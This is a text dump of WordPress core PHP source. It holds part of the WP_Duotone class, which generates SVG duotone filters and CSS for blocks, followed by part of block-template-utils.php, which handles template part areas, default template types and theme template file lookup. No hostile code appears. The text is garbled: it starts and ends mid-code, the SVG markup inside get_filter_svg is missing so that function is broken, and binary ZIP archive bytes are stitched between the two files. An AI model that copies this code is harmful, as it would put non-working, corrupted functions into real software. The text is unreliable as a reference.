$slug The slug of the duotone preset. * @return string The CSS variable. */ private static function get_css_var( $slug ) { $name = self::get_css_custom_property_name( $slug ); return "var($name)"; } /** * Get the URL for a duotone filter. * * Example output: * url(#wp-duotone-blue-orange) * * @internal * * @since 6.3.0 * * @param string $filter_id The ID of the filter. * @return string The URL for the duotone filter. */ private static function get_filter_url( $filter_id ) { return "url(#$filter_id)"; } /** * Gets the SVG for the duotone filter definition. * * Whitespace is removed when SCRIPT_DEBUG is not enabled. * * @internal * * @since 6.3.0 * * @param string $filter_id The ID of the filter. * @param array $colors An array of color strings. * @return string An SVG with a duotone filter definition. */ private static function get_filter_svg( $filter_id, $colors ) { $duotone_values = array( 'r' => array(), 'g' => array(), 'b' => array(), 'a' => array(), ); foreach ( $colors as $color_str ) { $color = self::colord_parse( $color_str ); if ( null === $color ) { $error_message = sprintf( /* translators: 1: Duotone colors, 2: theme.json, 3: settings.color.duotone */ __( '"%1$s" in %2$s %3$s is not a hex or rgb string.' ), $color_str, 'theme.json', 'settings.color.duotone' ); _doing_it_wrong( __METHOD__, $error_message, '6.3.0' ); } else { $duotone_values['r'][] = $color['r'] / 255; $duotone_values['g'][] = $color['g'] / 255; $duotone_values['b'][] = $color['b'] / 255; $duotone_values['a'][] = $color['a']; } } ob_start(); ?> <', '><', $svg ); $svg = trim( $svg ); } return $svg; } /** * Returns the prefixed id for the duotone filter for use as a CSS id. * * Exported for the deprecated function wp_get_duotone_filter_id(). * * @internal * * @since 6.3.0 * @deprecated 6.3.0 * * @param array $preset Duotone preset value as seen in theme.json. * @return string Duotone filter CSS id. */ public static function get_filter_id_from_preset( $preset ) { _deprecated_function( __FUNCTION__, '6.3.0' ); $filter_id = ''; if ( isset( $preset['slug'] ) ) { $filter_id = self::get_filter_id( $preset['slug'] ); } return $filter_id; } /** * Gets the SVG for the duotone filter definition from a preset. * * Exported for the deprecated function wp_get_duotone_filter_property(). * * @internal * * @since 6.3.0 * @deprecated 6.3.0 * * @param array $preset The duotone preset. * @return string The SVG for the filter definition. */ public static function get_filter_svg_from_preset( $preset ) { _deprecated_function( __FUNCTION__, '6.3.0' ); $filter_id = self::get_filter_id_from_preset( $preset ); return self::get_filter_svg( $filter_id, $preset['colors'] ); } /** * Get the SVGs for the duotone filters. * * Example output: * …… * * @internal * * @since 6.3.0 * * @param array $sources The duotone presets. * @return string The SVGs for the duotone filters. */ private static function get_svg_definitions( $sources ) { $svgs = ''; foreach ( $sources as $filter_id => $filter_data ) { $colors = $filter_data['colors']; $svgs .= self::get_filter_svg( $filter_id, $colors ); } return $svgs; } /** * Get the CSS for global styles. * * Example output: * body{--wp--preset--duotone--blue-orange:url('#wp-duotone-blue-orange');} * * @internal * * @since 6.3.0 * @since 6.6.0 Replaced body selector with `WP_Theme_JSON::ROOT_CSS_PROPERTIES_SELECTOR`. * * @param array $sources The duotone presets. * @return string The CSS for global styles. */ private static function get_global_styles_presets( $sources ) { $css = WP_Theme_JSON::ROOT_CSS_PROPERTIES_SELECTOR . '{'; foreach ( $sources as $filter_id => $filter_data ) { $slug = $filter_data['slug']; $colors = $filter_data['colors']; $css_property_name = self::get_css_custom_property_name( $slug ); $declaration_value = is_string( $colors ) ? $colors : self::get_filter_url( $filter_id ); $css .= "$css_property_name:$declaration_value;"; } $css .= '}'; return $css; } /** * Enqueue a block CSS declaration for the page. * * This does not include any SVGs. * * @internal * * @since 6.3.0 * * @param string $filter_id The filter ID. e.g. 'wp-duotone-000000-ffffff-2'. * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'. * @param string $filter_value The filter CSS value. e.g. 'url(#wp-duotone-000000-ffffff-2)' or 'unset'. */ private static function enqueue_block_css( $filter_id, $duotone_selector, $filter_value ) { // Build the CSS selectors to which the filter will be applied. $selectors = explode( ',', $duotone_selector ); $selectors_scoped = array(); foreach ( $selectors as $selector_part ) { /* * Assuming the selector part is a subclass selector (not a tag name) * so we can prepend the filter id class. If we want to support elements * such as `img` or namespaces, we'll need to add a case for that here. */ $selectors_scoped[] = '.' . $filter_id . trim( $selector_part ); } $selector = implode( ', ', $selectors_scoped ); self::$block_css_declarations[] = array( 'selector' => $selector, 'declarations' => array( 'filter' => $filter_value, ), ); } /** * Enqueue custom filter assets for the page. * * Includes an SVG filter and block CSS declaration. * * @internal * * @since 6.3.0 * * @param string $filter_id The filter ID. e.g. 'wp-duotone-000000-ffffff-2'. * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'. * @param string $filter_value The filter CSS value. e.g. 'url(#wp-duotone-000000-ffffff-2)' or 'unset'. * @param array $filter_data Duotone filter data with 'slug' and 'colors' keys. */ private static function enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $filter_data ) { self::$used_svg_filter_data[ $filter_id ] = $filter_data; self::enqueue_block_css( $filter_id, $duotone_selector, $filter_value ); } /** * Enqueue preset assets for the page. * * Includes a CSS custom property, SVG filter, and block CSS declaration. * * @internal * * @since 6.3.0 * * @param string $filter_id The filter ID. e.g. 'wp-duotone-blue-orange'. * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'. * @param string $filter_value The filter CSS value. e.g. 'url(#wp-duotone-blue-orange)' or 'unset'. */ private static function enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value ) { $global_styles_presets = self::get_all_global_styles_presets(); if ( ! array_key_exists( $filter_id, $global_styles_presets ) ) { $error_message = sprintf( /* translators: 1: Duotone filter ID, 2: theme.json */ __( 'The duotone id "%1$s" is not registered in %2$s settings' ), $filter_id, 'theme.json' ); _doing_it_wrong( __METHOD__, $error_message, '6.3.0' ); return; } self::$used_global_styles_presets[ $filter_id ] = $global_styles_presets[ $filter_id ]; self::enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $global_styles_presets[ $filter_id ] ); } /** * Registers the style and colors block attributes for block types that support it. * * Block support is added with `supports.filter.duotone` in block.json. * * @since 6.3.0 * * @param WP_Block_Type $block_type Block Type. */ public static function register_duotone_support( $block_type ) { /* * Previous `color.__experimentalDuotone` support flag is migrated * to `filter.duotone` via `block_type_metadata_settings` filter. */ if ( block_has_support( $block_type, array( 'filter', 'duotone' ), null ) ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } } /** * Get the CSS selector for a block type. * * This handles selectors defined in `color.__experimentalDuotone` support * if `filter.duotone` support is not defined. * * @internal * @since 6.3.0 * * @param WP_Block_Type $block_type Block type to check for support. * @return string|null The CSS selector or null if there is no support. */ private static function get_selector( $block_type ) { if ( ! ( $block_type instanceof WP_Block_Type ) ) { return null; } /* * Backward compatibility with `supports.color.__experimentalDuotone` * is provided via the `block_type_metadata_settings` filter. If * `supports.filter.duotone` has not been set and the experimental * property has been, the experimental property value is copied into * `supports.filter.duotone`. */ $duotone_support = block_has_support( $block_type, array( 'filter', 'duotone' ) ); if ( ! $duotone_support ) { return null; } /* * If the experimental duotone support was set, that value is to be * treated as a selector and requires scoping. */ $experimental_duotone = isset( $block_type->supports['color']['__experimentalDuotone'] ) ? $block_type->supports['color']['__experimentalDuotone'] : false; if ( $experimental_duotone ) { $root_selector = wp_get_block_css_selector( $block_type ); return is_string( $experimental_duotone ) ? WP_Theme_JSON::scope_selector( $root_selector, $experimental_duotone ) : $root_selector; } // Regular filter.duotone support uses filter.duotone selectors with fallbacks. return wp_get_block_css_selector( $block_type, array( 'filter', 'duotone' ), true ); } /** * Scrape all possible duotone presets from global and theme styles and * store them in self::$global_styles_presets. * * Used in conjunction with self::render_duotone_support for blocks that * use duotone preset filters. * * @since 6.3.0 * * @return array An array of global styles presets, keyed on the filter ID. */ private static function get_all_global_styles_presets() { if ( isset( self::$global_styles_presets ) ) { return self::$global_styles_presets; } // Get the per block settings from the theme.json. $tree = wp_get_global_settings(); $presets_by_origin = isset( $tree['color']['duotone'] ) ? $tree['color']['duotone'] : array(); self::$global_styles_presets = array(); foreach ( $presets_by_origin as $presets ) { foreach ( $presets as $preset ) { $filter_id = self::get_filter_id( _wp_to_kebab_case( $preset['slug'] ) ); self::$global_styles_presets[ $filter_id ] = $preset; } } return self::$global_styles_presets; } /** * Scrape all block names from global styles and store in self::$global_styles_block_names. * * Used in conjunction with self::render_duotone_support to output the * duotone filters defined in the theme.json global styles. * * @since 6.3.0 * * @return string[] An array of global style block slugs, keyed on the block name. */ private static function get_all_global_style_block_names() { if ( isset( self::$global_styles_block_names ) ) { return self::$global_styles_block_names; } // Get the per block settings from the theme.json. $tree = WP_Theme_JSON_Resolver::get_merged_data(); $block_nodes = $tree->get_styles_block_nodes(); $theme_json = $tree->get_raw_data(); self::$global_styles_block_names = array(); foreach ( $block_nodes as $block_node ) { // This block definition doesn't include any duotone settings. Skip it. if ( empty( $block_node['duotone'] ) ) { continue; } // Value looks like this: 'var(--wp--preset--duotone--blue-orange)' or 'var:preset|duotone|blue-orange'. $duotone_attr_path = array_merge( $block_node['path'], array( 'filter', 'duotone' ) ); $duotone_attr = _wp_array_get( $theme_json, $duotone_attr_path, array() ); if ( empty( $duotone_attr ) ) { continue; } // If it has a duotone filter preset, save the block name and the preset slug. $slug = self::get_slug_from_attribute( $duotone_attr ); if ( $slug && $slug !== $duotone_attr ) { self::$global_styles_block_names[ $block_node['name'] ] = $slug; } } return self::$global_styles_block_names; } /** * Render out the duotone CSS styles and SVG. * * The hooks self::set_global_style_block_names and self::set_global_styles_presets * must be called before this function. * * @since 6.3.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @param WP_Block $wp_block The block instance. * @return string Filtered block content. */ public static function render_duotone_support( $block_content, $block, $wp_block ) { if ( ! $block['blockName'] ) { return $block_content; } $duotone_selector = self::get_selector( $wp_block->block_type ); if ( ! $duotone_selector ) { return $block_content; } $global_styles_block_names = self::get_all_global_style_block_names(); // The block should have a duotone attribute or have duotone defined in its theme.json to be processed. $has_duotone_attribute = isset( $block['attrs']['style']['color']['duotone'] ); $has_global_styles_duotone = array_key_exists( $block['blockName'], $global_styles_block_names ); if ( ! $has_duotone_attribute && ! $has_global_styles_duotone ) { return $block_content; } // Generate the pieces needed for rendering a duotone to the page. if ( $has_duotone_attribute ) { /* * Possible values for duotone attribute: * 1. Array of colors - e.g. array('#000000', '#ffffff'). * 2. Variable for an existing Duotone preset - e.g. 'var:preset|duotone|blue-orange' or 'var(--wp--preset--duotone--blue-orange)'' * 3. A CSS string - e.g. 'unset' to remove globally applied duotone. */ $duotone_attr = $block['attrs']['style']['color']['duotone']; $is_preset = is_string( $duotone_attr ) && self::is_preset( $duotone_attr ); $is_css = is_string( $duotone_attr ) && ! $is_preset; $is_custom = is_array( $duotone_attr ); if ( $is_preset ) { $slug = self::get_slug_from_attribute( $duotone_attr ); // e.g. 'blue-orange'. $filter_id = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-blue-orange'. $filter_value = self::get_css_var( $slug ); // e.g. 'var(--wp--preset--duotone--blue-orange)'. // CSS custom property, SVG filter, and block CSS. self::enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value ); } elseif ( $is_css ) { $slug = wp_unique_id( sanitize_key( $duotone_attr . '-' ) ); // e.g. 'unset-1'. $filter_id = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-unset-1'. $filter_value = $duotone_attr; // e.g. 'unset'. // Just block CSS. self::enqueue_block_css( $filter_id, $duotone_selector, $filter_value ); } elseif ( $is_custom ) { $slug = wp_unique_id( sanitize_key( implode( '-', $duotone_attr ) . '-' ) ); // e.g. '000000-ffffff-2'. $filter_id = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-000000-ffffff-2'. $filter_value = self::get_filter_url( $filter_id ); // e.g. 'url(#wp-duotone-filter-000000-ffffff-2)'. $filter_data = array( 'slug' => $slug, 'colors' => $duotone_attr, ); // SVG filter and block CSS. self::enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $filter_data ); } } elseif ( $has_global_styles_duotone ) { $slug = $global_styles_block_names[ $block['blockName'] ]; // e.g. 'blue-orange'. $filter_id = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-blue-orange'. $filter_value = self::get_css_var( $slug ); // e.g. 'var(--wp--preset--duotone--blue-orange)'. // CSS custom property, SVG filter, and block CSS. self::enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value ); } // Like the layout hook, this assumes the hook only applies to blocks with a single wrapper. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( $filter_id ); } return $tags->get_updated_html(); } /** * Fixes the issue with our generated class name not being added to the block's outer container * in classic themes due to gutenberg_restore_image_outer_container from layout block supports. * * @since 6.6.0 * * @param string $block_content Rendered block content. * @return string Filtered block content. */ public static function restore_image_outer_container( $block_content ) { if ( wp_theme_has_theme_json() ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); $wrapper_query = array( 'tag_name' => 'div', 'class_name' => 'wp-block-image', ); if ( ! $tags->next_tag( $wrapper_query ) ) { return $block_content; } $tags->set_bookmark( 'wrapper-div' ); $tags->next_tag(); $inner_classnames = explode( ' ', $tags->get_attribute( 'class' ) ); foreach ( $inner_classnames as $classname ) { if ( 0 === strpos( $classname, 'wp-duotone' ) ) { $tags->remove_class( $classname ); $tags->seek( 'wrapper-div' ); $tags->add_class( $classname ); break; } } return $tags->get_updated_html(); } /** * Appends the used block duotone filter declarations to the inline block supports CSS. * * Uses the declarations saved in earlier calls to self::enqueue_block_css. * * @since 6.3.0 */ public static function output_block_styles() { if ( ! empty( self::$block_css_declarations ) ) { wp_style_engine_get_stylesheet_from_css_rules( self::$block_css_declarations, array( 'context' => 'block-supports', ) ); } } /** * Appends the used global style duotone filter presets (CSS custom * properties) to the inline global styles CSS. * * Uses the declarations saved in earlier calls to self::enqueue_global_styles_preset. * * @since 6.3.0 */ public static function output_global_styles() { if ( ! empty( self::$used_global_styles_presets ) ) { wp_add_inline_style( 'global-styles', self::get_global_styles_presets( self::$used_global_styles_presets ) ); } } /** * Outputs all necessary SVG for duotone filters, CSS for classic themes. * * Uses the declarations saved in earlier calls to self::enqueue_global_styles_preset * and self::enqueue_custom_filter. * * @since 6.3.0 */ public static function output_footer_assets() { if ( ! empty( self::$used_svg_filter_data ) ) { echo self::get_svg_definitions( self::$used_svg_filter_data ); } // In block themes, the CSS is added in the head via wp_add_inline_style in the wp_enqueue_scripts action. if ( ! wp_is_block_theme() ) { $style_tag_id = 'core-block-supports-duotone'; wp_register_style( $style_tag_id, false ); if ( ! empty( self::$used_global_styles_presets ) ) { wp_add_inline_style( $style_tag_id, self::get_global_styles_presets( self::$used_global_styles_presets ) ); } if ( ! empty( self::$block_css_declarations ) ) { wp_add_inline_style( $style_tag_id, wp_style_engine_get_stylesheet_from_css_rules( self::$block_css_declarations ) ); } wp_enqueue_style( $style_tag_id ); } } /** * Adds the duotone SVGs and CSS custom properties to the editor settings. * * This allows the properties to be pulled in by the EditorStyles component * in JS and rendered in the post editor. * * @since 6.3.0 * * @param array $settings The block editor settings from the `block_editor_settings_all` filter. * @return array The editor settings with duotone SVGs and CSS custom properties. */ public static function add_editor_settings( $settings ) { $global_styles_presets = self::get_all_global_styles_presets(); if ( ! empty( $global_styles_presets ) ) { if ( ! isset( $settings['styles'] ) ) { $settings['styles'] = array(); } $settings['styles'][] = array( // For the editor we can add all of the presets by default. 'assets' => self::get_svg_definitions( $global_styles_presets ), // The 'svgs' type is new in 6.3 and requires the corresponding JS changes in the EditorStyles component to work. '__unstableType' => 'svgs', // These styles not generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings. 'isGlobalStyles' => false, ); $settings['styles'][] = array( // For the editor we can add all of the presets by default. 'css' => self::get_global_styles_presets( $global_styles_presets ), // This must be set and must be something other than 'theme' or they will be stripped out in the post editor component. '__unstableType' => 'presets', // These styles are no longer generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings. 'isGlobalStyles' => false, ); } return $settings; } /** * Migrates the experimental duotone support flag to the stabilized location. * * This moves `supports.color.__experimentalDuotone` to `supports.filter.duotone`. * * @since 6.3.0 * * @param array $settings Current block type settings. * @param array $metadata Block metadata as read in via block.json. * @return array Filtered block type settings. */ public static function migrate_experimental_duotone_support_flag( $settings, $metadata ) { $duotone_support = isset( $metadata['supports']['color']['__experimentalDuotone'] ) ? $metadata['supports']['color']['__experimentalDuotone'] : null; if ( ! isset( $settings['supports']['filter']['duotone'] ) && null !== $duotone_support ) { _wp_array_set( $settings, array( 'supports', 'filter', 'duotone' ), (bool) $duotone_support ); } return $settings; } /** * Gets the CSS filter property value from a preset. * * Exported for the deprecated function wp_get_duotone_filter_id(). * * @internal * * @since 6.3.0 * @deprecated 6.3.0 * * @param array $preset The duotone preset. * @return string The CSS filter property value. */ public static function get_filter_css_property_value_from_preset( $preset ) { _deprecated_function( __FUNCTION__, '6.3.0' ); if ( isset( $preset['colors'] ) && is_string( $preset['colors'] ) ) { return $preset['colors']; } $filter_id = self::get_filter_id_from_preset( $preset ); return 'url(#' . $filter_id . ')'; } } PK!ôÑôôblock-template-utils.phpnuȯÝíexists() ) { // Return the default folders if the theme doesn't exist. return array( 'wp_template' => 'templates', 'wp_template_part' => 'parts', ); } return $theme->get_block_template_folders(); } /** * Returns a filtered list of allowed area values for template parts. * * @since 5.9.0 * * @return array[] { * The allowed template part area values. * * @type array ...$0 { * Data for the allowed template part area. * * @type string $area Template part area name. * @type string $label Template part area label. * @type string $description Template part area description. * @type string $icon Template part area icon. * @type string $area_tag Template part area tag. * } * } */ function get_allowed_block_template_part_areas() { $default_area_definitions = array( array( 'area' => WP_TEMPLATE_PART_AREA_UNCATEGORIZED, 'label' => _x( 'General', 'template part area' ), 'description' => __( 'General templates often perform a specific role like displaying post content, and are not tied to any particular area.' ), 'icon' => 'layout', 'area_tag' => 'div', ), array( 'area' => WP_TEMPLATE_PART_AREA_HEADER, 'label' => _x( 'Header', 'template part area' ), 'description' => __( 'The Header template defines a page area that typically contains a title, logo, and main navigation.' ), 'icon' => 'header', 'area_tag' => 'header', ), array( 'area' => WP_TEMPLATE_PART_AREA_FOOTER, 'label' => _x( 'Footer', 'template part area' ), 'description' => __( 'The Footer template defines a page area that typically contains site credits, social links, or any other combination of blocks.' ), 'icon' => 'footer', 'area_tag' => 'footer', ), ); /** * Filters the list of allowed template part area values. * * @since 5.9.0 * * @param array[] $default_area_definitions { * The allowed template part area values. * * @type array ...$0 { * Data for the template part area. * * @type string $area Template part area name. * @type string $label Template part area label. * @type string $description Template part area description. * @type string $icon Template part area icon. * @type string $area_tag Template part area tag. * } * } */ return apply_filters( 'default_wp_template_part_areas', $default_area_definitions ); } /** * Returns a filtered list of default template types, containing their * localized titles and descriptions. * * @since 5.9.0 * * @return array[] { * The default template types. * * @type array ...$0 { * Data for the template type. * * @type string $title Template type title. * @type string $description Template type description. * } * } */ function get_default_block_template_types() { $default_template_types = array( 'index' => array( 'title' => _x( 'Index', 'Template name' ), 'description' => __( 'Used as a fallback template for all pages when a more specific template is not defined.' ), ), 'home' => array( 'title' => _x( 'Blog Home', 'Template name' ), 'description' => __( 'Displays the latest posts as either the site homepage or as the "Posts page" as defined under reading settings. If it exists, the Front Page template overrides this template when posts are shown on the homepage.' ), ), 'front-page' => array( 'title' => _x( 'Front Page', 'Template name' ), 'description' => __( 'Displays your site\'s homepage, whether it is set to display latest posts or a static page. The Front Page template takes precedence over all templates.' ), ), 'singular' => array( 'title' => _x( 'Single Entries', 'Template name' ), 'description' => __( 'Displays any single entry, such as a post or a page. This template will serve as a fallback when a more specific template (e.g. Single Post, Page, or Attachment) cannot be found.' ), ), 'single' => array( 'title' => _x( 'Single Posts', 'Template name' ), 'description' => __( 'Displays a single post on your website unless a custom template has been applied to that post or a dedicated template exists.' ), ), 'page' => array( 'title' => _x( 'Pages', 'Template name' ), 'description' => __( 'Displays a static page unless a custom template has been applied to that page or a dedicated template exists.' ), ), 'archive' => array( 'title' => _x( 'All Archives', 'Template name' ), 'description' => __( 'Displays any archive, including posts by a single author, category, tag, taxonomy, custom post type, and date. This template will serve as a fallback when more specific templates (e.g. Category or Tag) cannot be found.' ), ), 'author' => array( 'title' => _x( 'Author Archives', 'Template name' ), 'description' => __( 'Displays a single author\'s post archive. This template will serve as a fallback when a more specific template (e.g. Author: Admin) cannot be found.' ), ), 'category' => array( 'title' => _x( 'Category Archives', 'Template name' ), 'description' => __( 'Displays a post category archive. This template will serve as a fallback when a more specific template (e.g. Category: Recipes) cannot be found.' ), ), 'taxonomy' => array( 'title' => _x( 'Taxonomy', 'Template name' ), 'description' => __( 'Displays a custom taxonomy archive. Like categories and tags, taxonomies have terms which you use to classify things. For example: a taxonomy named "Art" can have multiple terms, such as "Modern" and "18th Century." This template will serve as a fallback when a more specific template (e.g. Taxonomy: Art) cannot be found.' ), ), 'date' => array( 'title' => _x( 'Date Archives', 'Template name' ), 'description' => __( 'Displays a post archive when a specific date is visited (e.g., example.com/2023/).' ), ), 'tag' => array( 'title' => _x( 'Tag Archives', 'Template name' ), 'description' => __( 'Displays a post tag archive. This template will serve as a fallback when a more specific template (e.g. Tag: Pizza) cannot be found.' ), ), 'attachment' => array( 'title' => __( 'Attachment Pages' ), 'description' => __( 'Displays when a visitor views the dedicated page that exists for any media attachment.' ), ), 'search' => array( 'title' => _x( 'Search Results', 'Template name' ), 'description' => __( 'Displays when a visitor performs a search on your website.' ), ), 'privacy-policy' => array( 'title' => __( 'Privacy Policy' ), 'description' => __( 'Displays your site\'s Privacy Policy page.' ), ), '404' => array( 'title' => _x( 'Page: 404', 'Template name' ), 'description' => __( 'Displays when a visitor views a non-existent page, such as a dead link or a mistyped URL.' ), ), ); // Add a title and description to post format templates. $post_formats = get_post_format_strings(); foreach ( $post_formats as $post_format_slug => $post_format_name ) { $default_template_types[ 'taxonomy-post_format-post-format-' . $post_format_slug ] = array( 'title' => sprintf( /* translators: %s: Post format name. */ _x( 'Post Format: %s', 'Template name' ), $post_format_name ), 'description' => sprintf( /* translators: %s: Post format name. */ __( 'Displays the %s post format archive.' ), $post_format_name ), ); } /** * Filters the list of default template types. * * @since 5.9.0 * * @param array[] $default_template_types { * The default template types. * * @type array ...$0 { * Data for the template type. * * @type string $title Template type title. * @type string $description Template type description. * } * } */ return apply_filters( 'default_template_types', $default_template_types ); } /** * Checks whether the input 'area' is a supported value. * Returns the input if supported, otherwise returns the 'uncategorized' value. * * @since 5.9.0 * @access private * * @param string $type Template part area name. * @return string Input if supported, else the uncategorized value. */ function _filter_block_template_part_area( $type ) { $allowed_areas = array_map( static function ( $item ) { return $item['area']; }, get_allowed_block_template_part_areas() ); if ( in_array( $type, $allowed_areas, true ) ) { return $type; } $warning_message = sprintf( /* translators: %1$s: Template area type, %2$s: the uncategorized template area value. */ __( '"%1$s" is not a supported wp_template_part area value and has been added as "%2$s".' ), $type, WP_TEMPLATE_PART_AREA_UNCATEGORIZED ); wp_trigger_error( __FUNCTION__, $warning_message ); return WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } /** * Finds all nested template part file paths in a theme's directory. * * @since 5.9.0 * @access private * * @param string $base_directory The theme's file path. * @return string[] A list of paths to all template part files. */ function _get_block_templates_paths( $base_directory ) { static $template_path_list = array(); if ( isset( $template_path_list[ $base_directory ] ) ) { return $template_path_list[ $base_directory ]; } $path_list = array(); if ( is_dir( $base_directory ) ) { $nested_files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $base_directory ) ); $nested_html_files = new RegexIterator( $nested_files, '/^.+\.html$/i', RecursiveRegexIterator::GET_MATCH ); foreach ( $nested_html_files as $path => $file ) { $path_list[] = $path; } } $template_path_list[ $base_directory ] = $path_list; return $path_list; } /** * Retrieves the template file from the theme for a given slug. * * @since 5.9.0 * @access private * * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. * @param string $slug Template slug. * @return array|null { * Array with template metadata if $template_type is one of 'wp_template' or 'wp_template_part', * null otherwise. * * @type string $slug Template slug. * @type string $path Template file path. * @type string $theme Theme slug. * @type string $type Template type. * @type string $area Template area. Only for 'wp_template_part'. * @type string $title Optional. Template title. * @type string[] $postTypes Optional. List of post types that the template supports. Only for 'wp_template'. * } */ function _get_block_template_file( $template_type, $slug ) { if ( 'wp_template' !== $template_type && 'wp_template_part' !== $template_type ) { return null; } $themes = array( get_stylesheet() => get_stylesheet_directory(), get_template() => get_template_directory(), ); foreach ( $themes as $theme_slug => $theme_dir ) { $template_base_paths = get_block_theme_folders( $theme_slug ); $file_path = $theme_dir . '/' . $template_base_paths[ $template_type ] . '/' . $slug . '.html'; if ( file_exists( $file_path ) ) { $new_template_item = array( 'slug' => $slug, 'path' => $file_path, 'theme' => $theme_slug, 'type' => $template_type, ); if ( 'wp_template_part' === $template_type ) { return _add_block_template_part_area_info( $new_template_item ); } // If it's not a `wp_template_part`, it must be a `wp_template`. return _add_block_template_info( $new_template_item ); } } return null; } /** * Retrieves the template files from the theme. * * @since 5.9.0 * @since 6.3.0 Added the `$query` parameter. * @access private * * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. * @param array $query { * Arguments to retrieve templates. Optional, empty by default. * * @type string[] $slug__in List of slugs to include. * @type string[] $slug__not_in List of slugs to skip. * @type string $area A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only). * @type string $post_type Post type to get the templates for. * } * * @return array|null Template files on success, null if `$template_type` is not matched. */ function _get_block_templates_files( $template_type, $query = array() ) { if ( 'wp_template' !== $template_type && 'wp_template_part' !== $template_type ) { return null; } $default_template_types = array(); if ( 'wp_template' === $template_type ) { $default_template_types = get_default_block_template_types(); } // Prepare metadata from $query. $slugs_to_include = isset( $query['slug__in'] ) ? $query['slug__in'] : array(); $slugs_to_skip = isset( $query['slug__not_in'] ) ? $query['slug__not_in'] : array(); $area = isset( $query['area'] ) ? $query['area'] : null; $post_type = isset( $query['post_type'] ) ? $query['post_type'] : ''; $stylesheet = get_stylesheet(); $template = get_template(); $themes = array( $stylesheet => get_stylesheet_directory(), ); // Add the parent theme if it's not the same as the current theme. if ( $stylesheet !== $template ) { $themes[ $template ] = get_template_directory(); } $template_files = array(); foreach ( $themes as $theme_slug => $theme_dir ) { $template_base_paths = get_block_theme_folders( $theme_slug ); $theme_template_files = _get_block_templates_paths( $theme_dir . '/' . $template_base_paths[ $template_type ] ); foreach ( $theme_template_files as $template_file ) { $template_base_path = $template_base_paths[ $template_type ]; $template_slug = substr( $template_file, // Starting position of slug. strpos( $template_file, $template_base_path . DIRECTORY_SEPARATOR ) + 1 + strlen( $template_base_path ), // Subtract ending '.html'. -5 ); // Skip this item if its slug doesn't match any of the slugs to include. if ( ! empty( $slugs_to_include ) && ! in_array( $template_slug, $slugs_to_include, true ) ) { continue; } // Skip this item if its slug matches any of the slugs to skip. if ( ! empty( $slugs_to_skip ) && in_array( $template_slug, $slugs_to_skip, true ) ) { continue; } /* * The child theme items (stylesheet) are processed before the parent theme's (template). * If a child theme defines a template, prevent the parent template from being added to the list as well. */ if ( isset( $template_files[ $template_slug ] ) ) { continue; } $new_template_item = array( 'slug' => $template_slug, 'path' => $template_file, 'theme' => $theme_slug, 'type' => $template_type, ); if ( 'wp_template_part' === $template_type ) { $candidate = _add_block_template_part_area_info( $new_template_item ); if ( ! isset( $area ) || $area === $candidate['area'] ) { $template_files[ $template_slug ] = $candidate; } } if ( 'wp_template' === $template_type ) { $candidate = _add_block_template_info( $new_template_item ); $is_custom = ! isset( $default_template_types[ $candidate['slug'] ] ); if ( ! $post_type || ( $post_type && isset( $candidate['postTypes'] ) && in_array( $post_type, $candidate['postTypes'], true ) ) ) { $template_files[ $template_slug ] = $candidate; } // The custom templates with no associated post types are available for all post types. if ( $post_type && ! isset( $candidate['postTypes'] ) && $is_custom ) { $template_files[ $template_slug ] = $candidate; } } } } return array_values( $template_files ); } /** * Attempts to add custom template information to the template item. * * @since 5.9.0 * @access private * * @param array $template_item Template to add information to (requires 'slug' field). * @return array Template item. */ function _add_block_template_info( $template_item ) { if ( ! wp_theme_has_theme_json() ) { return $template_item; } $theme_data = wp_get_theme_data_custom_templates(); if ( isset( $theme_data[ $template_item['slug'] ] ) ) { $template_item['title'] = $theme_data[ $template_item['slug'] ]['title']; $template_item['postTypes'] = $theme_data[ $template_item['slug'] ]['postTypes']; } return $template_item; } /** * Attempts to add the template part's area information to the input template. * * @since 5.9.0 * @access private * * @param array $template_info Template to add information to (requires 'type' and 'slug' fields). * @return array Template info. */ function _add_block_template_part_area_info( $template_info ) { if ( wp_theme_has_theme_json() ) { $theme_data = wp_get_theme_data_template_parts(); } if ( isset( $theme_data[ $template_info['slug'] ]['area'] ) ) { $template_info['title'] = $theme_data[ $template_info['slug'] ]['title']; $template_info['area'] = _filter_block_template_part_area( $theme_data[ $template_info['slug'] ]['area'] ); } else { $template_info['area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } return $template_info; } /** * Returns an array containing the references of * the passed blocks and their inner blocks. * * @since 5.9.0 * @access private * * @param array $blocks array of blocks. * @return array block references to the passed blocks and their inner blocks. */ function _flatten_blocks( &$blocks ) { $all_blocks = array(); $queue = array(); foreach ( $blocks as &$block ) { $queue[] = &$block; } while ( count( $queue ) > 0 ) { $block = &$queue[0]; array_shift( $queue ); $all_blocks[] = &$block; if ( ! empty( $block['innerBlocks'] ) ) { foreach ( $block['innerBlocks'] as &$inner_block ) { $queue[] = &$inner_block; } } } return $all_blocks; } /** * Injects the active theme's stylesheet as a `theme` attribute * into a given template part block. * * @since 6.4.0 * @access private * * @param array $block a parsed block. */ function _inject_theme_attribute_in_template_part_block( &$block ) { if ( 'core/template-part' === $block['blockName'] && ! isset( $block['attrs']['theme'] ) ) { 